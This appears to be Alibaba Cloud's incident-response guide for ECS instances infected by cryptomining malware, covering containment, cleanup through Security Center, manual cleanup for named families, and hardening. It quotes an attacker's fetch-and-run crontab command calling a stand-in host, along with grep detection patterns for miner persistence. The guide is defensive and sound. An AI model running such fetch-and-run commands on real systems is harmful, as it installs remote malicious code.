After an ECS instance is compromised by a cryptomining program, CPU resources are exhausted, business services are interrupted, and the malware may spread laterally across the internal network. This document describes a complete incident response workflow—from immediate containment and root cause analysis through multi-path cleanup to long-term security hardening—to help you quickly restore system security.
Common routes of cryptomining intrusion
Cryptomining programs are typically planted on ECS instances due to insufficient security protections rather than hardware issues. Common intrusion routes include:
Brute-force attacks on weak SSH passwords: Attackers scan for open SSH ports and use dictionary attacks to crack weak passwords, then plant cryptomining programs after gaining server access.
Unauthorized Redis access: If Redis has no password configured or is bound to an incorrect IP address, attackers can exploit its file-writing capability to plant cryptomining scripts.
Web application vulnerabilities: Attackers exploit RCE or file upload vulnerabilities to directly execute cryptomining programs on the server.
Protective measures:
Use the Virus Detection and Removal feature of Security Center to periodically scan for and remove cryptomining programs. This requires the Anti-virus edition or higher.
In the ECS security group, restrict suspicious ports (such as 51827) to allow access only from trusted IP addresses.
Periodically review SSH public keys and remove unauthorized keys.
Dangers of cryptomining programs and how to identify them
Dangers
Resource consumption and degradation: Cryptomining programs consume CPU resources for intensive computations to mine cryptocurrency, causing severe CPU exhaustion that directly impacts the normal operation of other business applications on the server.
Worm-like propagation: Once the security perimeter is breached, cryptomining malware rapidly spreads laterally across the internal network and establishes persistence mechanisms on compromised servers to ensure long-term profit.
Difficult to remove: Cryptomining programs employ coordinated protection mechanisms, and incomplete cleanup leads to recurring infections. Some variants, such as xorddos, replace system commands so that executing normal system commands triggers malicious scripts, making removal more difficult.
Identification methods
Drastic performance degradation: The server's CPU utilization periodically or continuously exceeds 80%, causing business applications to respond slowly or become completely unavailable.
Compromised system stability: The high computational load from cryptomining programs can lead to system crashes or service interruptions.
Receive security alerts: Security Center sends alert notifications when it detects cryptomining programs, mining pool communication, or access to malicious domain names.
Detection mechanism: Cryptomining detection in Security Center is an automatic backend identification mechanism. There is no dedicated self-service detection tool. You can view the detection results on the Detection and Response > Security Events page in the console.
Webshell as an early warning indicator: Discovering a webshell backdoor file is an early warning indicator that a cryptomining program may have been planted. Attackers typically upload a webshell first, then install and start the cryptomining program. We recommend checking the security event list for the chronological relationship between webshell alerts and cryptomining alerts on the same host.
Response strategy
Respond quickly to completely remove the cryptomining program and its persistence backdoors, restore normal server performance, and implement security hardening to prevent future compromises.
Costs and risks
Costs:
Security Center: Advanced features such as Antivirus and Deep Cleanup require the Anti-virus edition or higher. A 7-day free trial is available.
Agentless Detection: This is a pay-as-you-go service. You must purchase the Agentless Detection billing feature separately.
Emergency Response Service: If you cannot handle the issue yourself, you can purchase the Alibaba Cloud Emergency Response Service for support from professional security engineers.
Risks:
Risks of manual cleanup: Manual operations may accidentally delete system files or modify configurations, causing the server to fail to boot or interrupting business operations. We recommend creating a snapshot before performing any manual cleanup.
Risk of data loss: Re-initializing the system disk permanently deletes all data on the system disk. If you do not create a snapshot beforehand, the data cannot be recovered.
Solution architecture
This guide follows a "discovery–containment–cleanup–hardening" incident response model and provides three remediation paths to suit different technical capabilities and business scenarios.
Quick self-check and emergency containment: Identify the threat and control the situation as quickly as possible to prevent further damage. Key actions include identifying abnormal processes and network connections and using a security group for network isolation.
Decision and path selection: Based on your technical expertise, time constraints, and risk tolerance, choose the most suitable cleanup path from the following three options:
Automated cleanup with Security Center (Recommended): Use the automated tools provided by Security Center to efficiently and accurately handle alerts, scan for viruses, and remove persistence backdoors.
Manual cleanup: Suitable for professionals with extensive experience in Linux/Windows operations and maintenance. This involves in-depth system cleanup through manual investigation and command execution.
System reset: If the infection is deep-rooted or recurs, back up your data and re-initialize the system disk to eliminate the threat at its source.
Verification and security hardening: After cleanup, verify that the system is operating normally and implement security hardening measures.
Procedure
Quick self-check and emergency containment
When you receive an alert or notice abnormal server performance, perform the following actions for initial diagnosis and emergency containment.
Identify abnormal processes and network connections
Check for high-CPU processes: Log on to the server and run the
top -corps -eo pid,ppid,cmd,%cpu --sort=-%cpu | morecommand to find unknown processes that are consuming high CPU resources for an extended period.Check for suspicious network connections: Run the
ss -ntpornetstat -antpcommand to check for connections to unknown remote addresses, especially those on common mining pool ports like 3333, 5555, and 7775.
Perform emergency containment
Network isolation (Recommended): This is the fastest and most secure way to contain the threat. Immediately log on to the ECS console, modify the security group rules for the server, and set the outbound rule to deny all traffic. Allow access only for remote login ports (such as SSH 22 or RDP 3389) from trusted IP addresses. This action instantly cuts off communication between the cryptomining program and its mining pool.
Terminate malicious processes: For any identified malicious process, run the
kill -9 <PID>command to terminate it. Note that this is a temporary measure. The process will likely restart if its persistence mechanism is not removed.
Security Center does not provide a dedicated tool for tracing miner IP addresses. The backend automatically detects connections to mining pools. To obtain the IP addresses of miners and mining pools, choose Detection and Response > Security Events, and check the alerts of the suspicious network connection and suspicious network traffic types.
Server status after remediation
As long as the server no longer exhibits mining activity, Security Center does not automatically shut down or lock the ECS instance after you handle a cryptomining alert. Security Center is a detection and alerting service and does not have the capability to shut down or lock instances.
Manually handle an alert: In the Security Center console, go to the Alert page, click the alert to view its details, and select Handled.
Automatic expiration: If you do not manually handle an alert, it is automatically archived as expired data 30 days after it is generated.
Perform cleanup
Choose one of the following cleanup methods based on your situation.
Automated cleanup with Security Center (recommended)
Prerequisites
You have purchased the Anti-virus, Advanced, Enterprise, or Ultimate edition of Security Center.
NoteYou can also activate the 7-day free trial to use the related features.
To perform a full scan, you must enable the Agentless Detection feature, which is a pay-as-you-go service.
Ensure the Security Center agent on the target server is online.
Step 1: Handle alerts and terminate malicious processes
Use the Alert feature in Security Center to terminate malicious processes and quarantine virus files to quickly stop the cryptomining program. For more information, see Evaluate and handle security alerts. The following steps provide an example.
Log on to Security Center console.
In the left-side navigation pane, choose Detection and Response > Security Events. In the upper-left corner of the console, select the region where the asset to be protected is located: Chinese Mainland or Outside Chinese Mainland.
Find the cryptomining alert and click Details in the Actions column to view the alert details.
ImportantBased on the basic information and event description provided in the Security Center console, you can locate the cryptomining program and check for other alerts or suspicious files. You must determine whether the file that triggered the alert is a legitimate business file or a file run by an attacker. If you confirm it is an attack, we recommend that after handling the cryptomining alert, you also address all other alerts and suspicious files on the server.
On the alert details page, you can also view the IP address of the miner and the destination IP address used for mining pool communication. You can add these IP addresses to a security group and disable them to block the connection.
Return to the Alerts page to handle the cryptomining alert.
Click Handle in the Actions column for the target cryptomining alert.
In the Handle Alert dialog box, select Virus Detection and Removal as the handling method. Then, select Terminate Process or Terminate Process and Quarantine Source File, and click Handle Now to prevent the program from running again.
If you confirm the file that caused the alert is not a business file, we recommend selecting Terminate Process and Quarantine Source File to prevent the virus from further infecting your server.
NoteSecurity Center supports the Process similar alerts together (groups alerts triggered by the same rule or type for bulk handling) feature. If you need to batch-process alerts that are triggered by the same rule or type, you can select Process similar alerts together (groups alerts triggered by the same rule or type for bulk handling).
On the Alerts page, find any related alerts generated by the cryptomining event (such as mining pool communication) and perform the Block action.
NoteSecurity Center generates a corresponding policy to prevent the server from accessing the mining pool, giving you sufficient time to handle the security event. You can also manually add the mining pool IP address to a security group to block access. For more information about how to add a security group rule, see Add a security group rule.
On the Alerts page, check for any process behavior anomaly alerts to determine if there are abnormal scheduled tasks, and handle those alerts accordingly.In the Security Center alert details panel, the alert name is Process Anomaly - Linux Scheduled Task Executing Abnormal Commands, with status Pending. Key fields include:
Process name:
bashProcess path:
/usr/bin/bashProcess ID: 14075
Username: root
Command-line arguments:
/bin/sh -c curl -fsSL http://a.com/init.sh | sh > /dev/null 2>&1
Event description: After a hacker intrudes, a malicious shell script is written to crontab or systemd scheduled tasks to achieve persistent execution. The recommended solution is to check directories such as
/etc/crontab,/var/spool/cron/, and/var/spool/cron/crontabs/for suspicious scheduled task files, and to strengthen system passwords.
Step 2: Deep scan and cleanup
After a malicious process is terminated, its persistence mechanisms such as auto-startup services and scheduled tasks may still exist. Use the Antivirus feature in Security Center to scan and clean them. For more information, see Antivirus. The following steps provide an example.
Log on to Security Center console.In the left-side navigation pane, choose . In the upper-left corner of the console, select the region where the asset to be protected is located: Chinese Mainland or Outside Chinese Mainland.
On the Virus Detection and Removal page, click Scan Now or Scan Again.
In the Scan Settings panel, configure the scan mode and scan range, then click OK.
Scan Mode: Select Quick Scan.
Scan Scope: Select the server that was compromised by the cryptomining program.
Set Scan Mode to Quick Scan, and use the By Asset tab to filter and select the target server.
After the scan is complete, on the Virus Detection and Removal page, click Actions in the Handle column for the target alert.
In the Alert Handling panel, select Deep Cleanup, click Next, and wait for the system to process the alert.
After the alert is handled, view the result and alert status on the Alerts page.
In the Handle Alert dialog box, select Deep Cleanup (recommended) as the handling method. Deep Cleanup performs the following operations:
Kills malicious virus processes
Quarantines malicious samples
Removes persistence mechanisms planted by the attacker (including Crontab entries and malicious download sources)
In the repair method section, select Auto-Create Snapshot and Repair, set a snapshot name (for example,
VirusDefense_AlertRepair_DeepCleanup) and snapshot retention period (for example, 1 day). The snapshot cost is approximately CNY 0.15 per day for a 40 GB system disk.
Step 3: Full scan
To ensure no residual files remain, you can use the agentless detection feature to perform an offline full-disk scan. This feature only supports detection, not remediation. You must handle any detected risks based on the details provided on the risk details page. For more information, see Agentless Detection.
Log on to Security Center console.Select the region where the asset to be protected is located: Chinese Mainland or Outside Chinese Mainland.
On the tab, in the Risk Detection section, click Scan Now.
In the Scan Now panel, configure the settings as described below, and then click OK.
Scan Scope: We recommend that you select the data disks. More complete data sources improve the detection of vulnerabilities, alerts, and other risks.
Image Retention Duration:
Valid values: 1 to 365. Unit: days.
You are charged for creating images. The longer you retain the images, the higher the fees.
ImportantIf you select Retain Only At-risk Image, the system automatically deletes risk-free images after the scan is complete.
After you create the task, Security Center automatically creates images and runs the scan. If risks are detected after the scan, the system also automatically triggers parallel sandbox analysis. For more information, see Automatic creation of images and Automatically run AI parallel sandbox analysis. For information about how to view task progress and reports, see View task progress and reports.
NoteThe more server data that is scanned, the longer the task takes. Wait for the task to complete.
After the detection task is complete, review and handle any detected vulnerability risks, baseline check failures, security alerts, and sensitive files.
Manual cleanup
Cryptomining programs create numerous persistence backdoors, making them difficult to remove. If you encounter a cryptomining virus without a Security Center subscription, you can take the following measures to investigate and handle it.
This method involves modifying files and configurations. Before you proceed, create a snapshot of the server's disks to ensure you can restore data in case of an operational error.
Linux systems
Block malicious network communication.
After discovering cryptomining activity on a host, the first step is to block the cryptomining Trojan's network communication to immediately control the impact, as a full remediation can be time-consuming.
Run the following command to check the current system network connections.
netstat -antp[root@ixxx poc]# netstat -antp Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.xxx:xxx 0.0.0.0:* LISTEN 1399/sshd tcp 0 0 12xxx:xxx 0.0.0.0:* LISTEN 1121/master tcp 0 0 127.0.0.xxx:xxx 0.0.0.0:* LISTEN 8847/node tcp 0 0 0.0.xxx:xxx 0.0.0.0:* LISTEN 572/rpcbind tcp 0 0 127.xxx:xxx 12x.x.x.1:xxx ESTABLISHED 8988/node tcp 0 0 17x.xxx:xxx 10x.xxx:xxx TIME_WAIT - tcp 0 0 17x.xxx:xxx 10x.xxx:xxx TIME_WAIT - tcp 0 0 127.xxx:xxx 12x.xxx:xxx ESTABLISHED 8847/node tcp 0 0 127.xxx:xxx 127.x.x.x ESTABLISHED 8761/sshd: root@not tcp 0 0 17x.xxx:xxx 10x.xxx:xxx ESTABLISHED 17704/AliHips tcp 0 0 17x.xxx:xxx 18x.xxx:xxx ESTABLISHED 16901/logrotate tcp 0 0 1xx.xxx:xxx 12x.xxx:xxx ESTABLISHED 8761/sshd: root@not tcp 0 0 1xx.xxx:xxx 100.xxx:xxx TIME_WAIT - tcp 0 0 1xx.xxx:xxx3 10x.xxx:xxx ESTABLISHED 1506/AliYunDun tcp 0 0 17x.xxx:xxx22 14x.xxx:xxx ESTABLISHED 8761/sshd: root@not tcp6 0 0 :::xxx :::* LISTEN 1121/master tcp6 0 0 :::xxx :::* LISTEN 572/rpcbindIn the following commands, replace
C&C addresswith a suspicious remote address (Foreign Address) that is not used by your normal business operations. Then, run the commands to add firewall rules to block all network connections between the server and the suspicious address.iptables -A INPUT -s C&C address -j DROP iptables -A OUTPUT -d C&C address -j DROP
Clear scheduled tasks.
Cryptomining Trojans often use scheduled tasks to periodically download (update) and start the Trojan. Simply cleaning the process and the Trojan file is not enough to eradicate the program and can lead to recurring infections.
Investigate the following scheduled task files and remove any tasks related to downloading or starting the cryptomining Trojan.
View the scheduled tasks for the current user or a specified user (
username).crontab -l crontab -u username -lAll scheduled task files on the host.
/etc/crontab /var/spool/cron/ /etc/anacrontab /etc/cron.d/ /etc/cron.hourly/ /etc/cron.daily/ /etc/cron.weekly/ /etc/cron.monthly/
Clear auto-startup services.
Run the following command to investigate all auto-startup services on the system.
systemctl list-unit-files | grep enabledFind the unit file for the suspicious service and check its details.
Replace
*with the service name and<service_unit_name>with the service unit file name.ls -al /etc/systemd/system/*.service ls -al /usr/lib/systemd/system/*.service # View service details (the process file started by the service) cat /etc/systemd/system/<service_unit_name>.serviceIf you find a malicious auto-startup service, use the following commands to disable the service and delete its unit file.
Replace
<service name>with the service name and<service_unit_name>with the service unit file name.systemctl disable <service name> rm /etc/systemd/system/<service_unit_name>.service rm /usr/lib/systemd/system/<service_unit_name>.serviceInvestigate the following service paths for auto-startup services and clean them up using the steps above.
/etc/rc.local /etc/inittab /etc/rc.d/ /etc/init.d/
Clear SSH public keys.
Cryptomining Trojans often add the attacker's SSH public key to the
~/.ssh/authorized_keysfile. This allows the attacker to log on to the compromised host without a password and reinstall malicious files. Investigate the~/.ssh/authorized_keysfile and immediately delete any suspicious public keys.Clear
.sohijacking.Preloaded
.sofiles, set via the/etc/ld.so.preloadfile, can hijack common system commands such astop, , and to hide the cryptomining process.Run the following command to investigate preloaded
.sofiles.cat /etc/ld.so.preloadRun the following command to remove the preload hijacking.
echo > /etc/ld.so.preload
Clear malicious accounts.
Some cryptomining Trojan families create new backdoor accounts to maintain long-term control over the compromised host. Run the following commands to check for malicious accounts, then manually delete the relevant account information.
Check logs for recent account creation activity.
cat /var/log/audit/audit.log | grep useradd # Or cat /var/log/secure | grep 'new user'Check the
/etc/passwdfile for suspicious accounts.cut -d: -f1 /etc/passwdCheck the creation or last active time of an account's
homedirectory. Pay special attention to recently createdhomedirectories.stat /home/guest/
Counter anti-modification techniques.
After writing persistence files such as scheduled tasks and auto-startup services, some cryptomining Trojans set an immutable attribute on the file to prevent the persistence mechanism from being deleted.
[root@iZxxx poc]# rm /etc/cron.hourly/logrotate rm: remove regular file '/etc/cron.hourly/logrotate'? y rm: cannot remove '/etc/cron.hourly/logrotate': Operation not permitted [root@iZxxx poc]# echo "" > /etc/cron.hourly/logrotate bash: /etc/cron.hourly/logrotate: Permission denied [root@iZxxx poc]# lsattr /etc/cron.hourly/logrotate ----i---------e-- /etc/cron.hourly/logrotateIf you encounter this situation, run the following command to restore the file attributes before deleting the corresponding task.
chattr -i /etc/passwd chattr -i /etc/crontabKill the cryptomining Trojan process.
Cryptomining processes usually consume high CPU resources. You can use the following commands to investigate suspicious cryptomining processes.
Investigate processes consuming a large amount of the host's CPU.
top -cNote the
99.4 usvalue in the%Cpu(s)line (indicating user-space CPU usage) and the/root/.config/logrotateprocess consuming 395.0% CPU in the process list.top – 11:42:28 up 5 days, 1:30, 0 users, load average: 2.71, 0.84, 0.32 Tasks: 114 total, 1 running, 110 sleeping, 3 stopped, 0 zombie %Cpu(s): 99.4 us, 0.6 sy, 0.0 ni, 0.0 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st KiB Mem : 7732792 total, 5724224 free, 562256 used, 1446312 buff/cache KiB Swap: 0 total, 0 free, 0 used. 6911024 avail Mem PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 16901 root 20 0 320776 3220 2308 S 395.0 0.0 2:31.13 /root/.config/logrotateps -eo pid,ppid,cmd,%cpu --sort=-%cpu | more[root@ixxx z poc]# ps -eo pid,ppid,cmd,%cpu --sort=-%cpu | more PID PPID CMD %CPU 16901 1 /root/.config/logrotate 208 8988 8847 /root/.vscode-server/bin/2d 3.9Investigate abnormal network connection behavior.
netstat -antpThe output shows that the
16901/logrotateprocess has an abnormal ESTABLISHED network connection, which is suspicious behavior.[root@iZbp113etj2f09g5ci8fukZ poc]# netstat -antp Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.xxx.xxx.xx xxx.xxx.xxx LISTEN 1399/sshd tcp 0 0 12x.x.x.xxx 0.x.x.x LISTEN 1121/master tcp 0 0 1xx.x.x.xxx xxx.xxx.xxx LISTEN 8847/node tcp 0 0 0.xxx.xxx x.x.x.x LISTEN 572/rpcbind tcp 0 0 12x.xxx.x.xxxxx 127.0.0.1.xxxxx ESTABLISHED 8988/node tcp 0 0 17x.xx.xxx.xxx.xxxxx xxx TIME_WAIT - tcp 0 0 17x.xx xxx.xxx TIME_WAIT - tcp 0 0 1xx.x.0.1.xxxxx xxx.xxx ESTABLISHED 8847/node tcp 0 0 12x.x.x.xxx xxx ESTABLISHED 8761/sshd: root@not tcp 0 0 1x.xxx.xxx.xxxxx xxx.xxx.xxx.xxx ESTABLISHED 17704/AliHips tcp 0 0 172.xx.xxx.x:1200 xxx.xxx.x.xxx:xxx ESTABLISHED 16901/logrotate tcp 0 0 12x.x.x.xxx:x 12x.xxx ESTABLISHED 8761/sshd: root@not tcp 0 0 17x.xx.xxx.xxxxx xxx.xxx.xx.xxx.xx TIME_WAIT - tcp 0 0 17x.xx.xxx xxx.xxx ESTABLISHED 1506/AliYunDun tcp 0 0 1xx.xx xxx ESTABLISHED 8761/sshd: root@not tcp6 0 0 :xxx xxx LISTEN 1121/master tcp6 0 0 :::xxx xxx LISTEN 572/rpcbindGet the file path of the suspicious process.
ls -al /proc/$PID/exeCalculate the MD5 hash of the process file and look it up on the Alibaba Cloud Threat Intelligence platform.
md5sum /proc/$PID/exeThe query results page displays the following information:
File risk level (for example, Medium) and recent activity.
File details, including the file name, runtime environment, and first discovered time.
Hash values, including MD5, SHA1, and SHA256.
Run the following commands to terminate the cryptomining process and clean up the Trojan file.
kill -9 $PID # Delete the process path obtained from ls -al /proc/$PID/exe rm /path/to/executable
Linux systems (specific cryptomining cases)
Cryptomining disguised as AliyunDuns
Run the following commands to investigate persistent auto-startup entries.
grep -rlE "\\-\\-donate\\-level|xmrig|\\/opt\\/sysetmd|A_li_yun_Duns" /etc/systemd/system/* grep -rl "wget" /etc/cron.hourly/*If any results are found, an auto-startup service exists. Run the following commands to delete it.
rm -f /etc/systemd/system/sysetmd.service rm -f /etc/systemd/system/monero.service rm -f /etc/systemd/system/A_li_yun_Duns.service chattr -i /etc/cron.hourly/0 rm -f /etc/cron.hourly/0Investigate and handle suspicious users.
Run the following command to query the system user list and identify the suspicious username.
cat /etc/passwdRun the following command to view information about an abnormal system user. In this example, the user is
shaojiang99.cat /etc/passwd | grep shaojiang99 cat /etc/shadow | grep shaojiang99Run the following command to delete the suspicious system user.
chattr -i /etc/passwd chattr -i /etc/shadow sed -i '/^shaojiang99:/d' /etc/shadow sed -i '/^shaojiang99:/d' /etc/passwd
Manual remediation for Skidmap
Run the following commands to delete the auto-startup service entries.
echo "" > /lib/systemd/system/systemd-cgroup.service echo "" > /lib/systemd/system/systemd-deltaed.service echo "" > /usr/bin/systemd-cgroup.org echo "" > /usr/bin/systemd-cgroup echo "" > /usr/bin/systemd-deltaed echo "" > /usr/bin/systemd-deltaed.orgManually clean the SSH public key file
authorized_keysby removing any suspicious keys.
Manual remediation for Cleanfda
Investigate the following scheduled task paths for suspicious script execution (for example,
/etc/upat.sh)./var/spool/cron/ /etc/cron.d/ /var/spool/cron/crontabs /etc/crontabInvestigate modified commands (original programs such as
ps,pstree, andtopwill be renamed with the suffix.original).ls -al /usr/bin | grep originalInvestigate SSH public keys and delete any unknown keys.
cat ~/.ssh/authorized_keys cat /root/.ssh/authorized_keys
Example:
# Restore modified commands
crondir='/var/spool/cron/'"$USER"
mv /bin/ps.original /bin/ps
mv /bin/top.original /bin/top
mv /bin/pstree.original /bin/pstree
# Restore editing permissions for scheduled task files
chattr -R -ia /var/spool/cron
chattr -ia /etc/crontab
chattr -R -ia /var/spool/cron/crontabs
chattr -R -ia /etc/cron.d
# Delete suspicious scheduled tasks and payloads
sed -i '/upat.sh/d' /etc/crontab
rm -rf /etc/cron.d/httpd2
rm -rf /etc/upat.sh
rm -rf /tmp/upat.sh
rm -rf /etc/httpd2
rm -rf /tmp/httpd2
# Delete suspicious public keys
sed -i '/cKtXBjj******hVI0K7b/d' ~/.ssh/authorized_keys
sed -i '/cKtXBjj******hVI0K7b/d' /root/.ssh/authorized_keysOutlaw family cryptomining
Investigate all
cronscheduled tasks for the string.configrc5/.Scheduled task paths:
/var/spool/cron/root /var/spool/cron/ /etc/cron.d/ /var/spool/cron/crontabs /etc/crontabRun the following commands to investigate.
grep -r ".configrc5/" /var/spool/cron/* grep -r ".configrc5/" /etc/cron*
If found, run the following commands to delete the related files.
rm -rf /tmp/.X2xi-unix/.rsync rm -rf ~/.configrc5
kinsing family cryptomining
Run the following command to investigate
cronscheduled tasks. Look for content similar togi.sh | bash > /dev/null. If it exists, delete that line.grep -r "gi.sh | bash > /dev/null" /etc/cron* grep -r "gi.sh | bash > /dev/null" /var/spool/cron/*Run the following command to check if the
/lib/systemd/system/bot.serviceservice exists.cat /lib/systemd/system/bot.serviceIf the service exists, run the following command to check
/etc/ld.so.preloadfor thelibsystem.sofile.cat /etc/ld.so.preloadAfter locating the
libsystem.sofile path, delete the file.
Windows Systems
In PowerShell, run the following command to investigate suspicious cryptomining processes based on CPU usage.
Noteps | sort -des cpu While(1) {ps | sort -des cpu | select -f 15 | ft -a; sleep 1; cls}Run the following command to view the executable path and command-line arguments of the cryptomining process.
Notewmic process where processid=xxx get processid,executablepath,commandline,name // xxx is the process PIDTerminate the cryptomining process and clean up the Trojan file.
Run the following command to check for connections on suspicious network ports.
Notenetstat -ano | findstr xxx // xxx is the suspicious network portRun the following command to check if the server's hosts file contains the mining pool address of the cryptomining program.
Notetype C:\Windows\System32\drivers\etc\hostsRun the following command to check for any scheduled tasks set by the cryptomining program.
Noteschtasks /query
Reset the system
If the virus has deeply infiltrated the system, the issue recurs after manual cleanup, or the server does not contain critical business data, we recommend this option. We strongly recommend that you back up important data before resetting the server's system to ensure complete cleanup of the cryptomining program.
Create snapshots to back up important data on the server. For more information, see Create a snapshot for a disk.
Re-initialize the system disk: In the ECS console, select the target instance and perform the Re-initialize System Disk operation. This action completely erases the system disk and restores it to its initial state. For more information, see Re-initialize a system disk (reset an operating system).
Use a snapshot to create a new cloud disk. For more information, see Create a disk from a snapshot.
Attach the cloud disk to the server with the reinstalled system. For more information, see Attach a data disk.
Log on to the server and copy only the business data (such as website code and database files) from the attached data disk.
ImportantDo not restore any executable files, system configuration files, or scripts from the old snapshot to avoid reintroducing backdoors.
Purchase emergency response service
Alibaba Cloud offers an Emergency Response Service where professional security engineers can help you resolve issues such as virus infections. The service includes the following:
Comprehensive cleanup of Trojans, viruses, abnormal accounts, abnormal files, webshells, hidden links, and other issues in your system.
Analysis of the attacker's intrusion methods to determine the root cause.
Guidance on security hardening.
For more information, see Emergency Response Service.
Verify the remediation
After cleanup, you must verify the results and harden the system to ensure security and prevent reinfection.
Scan again: Use the Antivirus or Agentless Detection feature in Security Center to perform a full scan of the server and confirm there are no alerts.
Monitor performance: Continuously monitor the server's CPU utilization to confirm it has returned to a normal level.
Verify with periodic scans: A single passing scan does not guarantee that the backdoor is fully removed. Some residual mining backdoors are redeployed by a scheduled task or daemon process after the initial cleanup. Configure a recurring Antivirus or Agentless Detection task in Security Center, and keep observing several consecutive scan cycles after cleanup. Confirm that the backdoor is removed only after every cycle in that window reports no cryptomining-related alerts.
Verify by monitoring alerts: Continue to check the Detection and Response > Security Events page in Security Center for cryptomining, malicious process, and persistence-related alerts. If no such alerts recur for some time after cleanup, the backdoor has not been retriggered. If the same type of alert reappears, a persistence mechanism such as a scheduled task, a startup item, or an SSH public key may still remain. In this case, return to the manual cleanup steps to investigate further.
Verify the related vulnerabilities: Cryptomining programs are usually planted through a system or application vulnerability. If the intrusion entry point is not fixed, the server can be reinfected after cleanup. Use the vulnerability scanning feature in Security Center to confirm that the vulnerability exploited in this intrusion has been fixed, so that the cryptomining program cannot be replanted after the backdoor is removed.
Handle alerts whose file path does not exist: If the file path specified in an alert email does not exist on the server and the CPU load is normal, you can Ignore the alert or mark it as Handled in the security event list. Log on to Security Center console, choose Detection and Response > Security Events, find the alert, and select Ignore or Handled in the Actions column. After you complete the operation, check whether new alerts are generated. If no new alerts appear, you can safely ignore the alert.
Security hardening
Enable proactive defense for malicious host behavior: The proactive defense feature provided by Security Center can accurately intercept cryptomining programs, thus preventing cryptomining incidents before they occur. For more information, see Proactive Defense.
Strengthen access control:
Apply the principle of least privilege to security groups: Configure the ECS security group to open only necessary business ports (such as 80 and 443). For management ports like SSH (22) and RDP (3389), ensure they are open only to trusted, fixed IP addresses (such as your office network or a bastion host IP).
Password policy: Configure strong passwords for database systems or file systems (MySQL, PolarDB, MaxCompute, Redis, NAS, OSS), service management consoles (such as BT-Panel, Nacos), and operating system user accounts (SSH, RDP). Limit the number of incorrect password attempts to prevent brute-force intrusions.
Vulnerability and patch management:
Update promptly: Regularly apply the latest security patches to your operating system and application software (such as web servers and databases).
Vulnerability scanning: Use the vulnerability scanning feature in Security Center to proactively discover and fix vulnerabilities in your system and applications.
Harden application security: Before deploying business code, perform code security testing or integrate with a Web Application Firewall to defend against common OWASP attacks like SQL injection, XSS, common web server plugin vulnerabilities, Trojan uploads, and unauthorized access to core resources. This helps prevent system compromise through application vulnerabilities.
Credential security: Avoid hardcoding Alibaba Cloud AccessKeys in your code or configuration files. Use RAM roles or instance RAM roles to grant permissions to applications, following the principle of least privilege. For more information, see Securely use credentials.
Recover tampered application configuration files: In addition to consuming CPU resources, a cryptomining program may tamper with application configuration files on the server, such as RocketMQ
.propertiesfiles or Nginx.conffiles, causing service abnormalities or planting a persistent backdoor.Find recently modified configuration files: Run the following command to find configuration files modified recently. Search by multiple extensions, not only
.conf, because applications such as RocketMQ use the.propertiesformat.find / -name '*.conf' -o -name '*.properties' -o -name '*.xml' -o -name '*.yml' -mtime -3NoteDo not search only for
.conffiles. Applications such as RocketMQ use configuration files in the.propertiesformat, and searching only for.confmisses them.Create a snapshot backup: Before you restore any configuration file, create a snapshot backup of the ECS instance, because an incorrect configuration can cause the application to fail to start. For more information, see Create a snapshot for a disk.
Restore the configuration files: Restore the tampered configuration files from the snapshot or another trusted backup, and verify that the file content has been restored to the original configuration.
Restart the service and verify: After the restoration, restart the affected service (for example, run
mqshutdownormqshutdownsrvto restart RocketMQ) and verify that the service functions normally.